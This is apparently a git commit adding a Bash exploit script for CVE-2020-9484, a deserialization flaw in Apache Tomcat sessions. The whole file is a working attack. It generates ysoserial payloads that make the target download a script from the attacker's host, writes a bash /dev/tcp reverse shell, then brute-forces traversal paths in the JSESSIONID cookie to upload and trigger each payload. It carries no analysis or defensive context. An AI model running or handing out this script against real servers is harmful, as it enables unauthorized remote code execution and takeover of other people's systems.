2026-06-05

2026-06-05 09:00:50 +02:00
parent 0e30222666
commit 9fc706a8bd
71 changed files with 1762 additions and 0 deletions
@@ -0,0 +1,93 @@
+#!/bin/bash
+
+if [ $# -ne 4 ]; then
+	echo " "
+	echo "     CVE-2020-9484 Exploit"
+	echo " Apache Tomcat Deserialization"
+	echo " "
+	echo " Usage:"
+	echo " $0 [your IP] [your port] [target IP] [target port]"
+	echo " Example:"
+	echo " $0 192.168.100.4 1337 192.168.10.119 8080"
+	exit 1
+fi
+
+# Gera payload 1 (comando que irá baixar o payload no server)
+echo " [*] Gerando payload 1..."
+java -jar ysoserial-all.jar CommonsCollections2 'curl http://'$1'/payload.sh > /tmp/payload.sh' > downloadPayload.session
+
+# Gera payload 2 (payload que fará a conexão reversa)
+echo " [*] Gerando payload 2..."
+echo "#\!/bin/bash" > payload.sh;echo 'bash -c "bash -I >& /dev/tcp/'$1'/'$2' 0>&1"' >> payload.sh
+
+# Gera payload 3 (dá permissões ao payload)
+echo " [*] Gerando payload 3..."
+java -jar ysoserial-all.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session
+
+# Gera payload 4 (executa o payload)
+echo " [*] Gerando payload 4..."
+java -jar ysoserial-all.jar CommonsCollections2 "bash /tmp/payload.sh" > executePayload.session
+
+# Gera wordlist
+echo " [*] Gerando wordlist..."
+echo "../../../../../../tmp/" > wl.txt
+echo "../../../../../tmp/" >> wl.txt
+echo "../../../../tmp/" >> wl.txt
+echo "../../../tmp/" >> wl.txt
+echo "../../tmp/" >> wl.txt
+echo "../../../../../../home/" >> wl.txt
+echo "../../../../../home/" >> wl.txt
+echo "../../../../home/" >> wl.txt
+echo "../../../home/" >> wl.txt
+echo "../../home/" >> wl.txt
+echo "../../../../../../opt/" >> wl.txt
+echo "../../../../../opt/" >> wl.txt
+echo "../../../../opt/" >> wl.txt
+echo "../../../opt/" >> wl.txt
+echo "../../opt/" >> wl.txt
+echo "../../../../../../opt/samples/" >> wl.txt
+echo "../../../../../opt/samples/" >> wl.txt
+echo "../../../../opt/samples/" >> wl.txt
+echo "../../../opt/samples/" >> wl.txt
+echo "../../opt/samples/" >> wl.txt
+echo "../../../../../../opt/samples/uploads/" >> wl.txt
+echo "../../../../../opt/samples/uploads/" >> wl.txt
+echo "../../../../opt/samples/uploads/" >> wl.txt
+echo "../../../opt/samples/uploads/" >> wl.txt
+echo "../../opt/samples/uploads/" >> wl.txt
+echo "../../../../../../usr/local/" >> wl.txt
+echo "../../../../../usr/local/" >> wl.txt
+echo "../../../../usr/local/" >> wl.txt
+echo "../../../usr/local/" >> wl.txt
+echo "../../usr/local/" >> wl.txt
+echo "../../../../../../usr/local/tomcat/" >> wl.txt
+echo "../../../../../usr/local/tomcat/" >> wl.txt
+echo "../../../../usr/local/tomcat/" >> wl.txt
+echo "../../../usr/local/tomcat/" >> wl.txt
+echo "../../usr/local/tomcat/" >> wl.txt
+
+echo " [!] Lembre-se de iniciar o web server neste diretório"
+echo " [!] Lembre-se de abrir a porta "$2"/TCP"
+
+# Explora
+echo " [*] Explorando..."
+for i in $(cat wl.txt);do
+	echo '    [+] Cookie:JSESSIONID='$i'downloadPayload'
+	curl -s 'http://'$3:$4'/index.jsp' -H 'Cookie:JSESSIONID='$i'downloadPayload' -F 'image=@downloadPayload.session' -a "Chrome" &>/dev/null;
+	sleep 1;
+	curl -s 'http://'$3:$4'/index.jsp' -H 'Cookie:JSESSIONID='$i'downloadPayload' -A "Chrome" &>/dev/null;
+	sleep 1;
+	echo '    [+] Cookie:JSESSIONID='$i'chmodPayload'
+	curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'chmodPayload' -F 'image=@chmodPayload.session' -a "Chrome" &>/dev/null;
+	sleep 1;
+	curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'chmodPayload' -A "Chrome" &>/dev/null;
+	sleep 1;
+	echo '    [+] Cookie:JSESSIONID='$i'executePayload'
+	curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'executePayload' -F 'image=@executePayload.session' -a "Chrome" &>/dev/null;
+	sleep 1;
+	curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'executePayload' -A "Chrome" &>/dev/null;
+	sleep 1;
+done
+
+# Remove arquivos gerados anteriormente
+rm wl.txt payload.sh downloadPayload.session chmodPayload.session executePayload.session &>/dev/null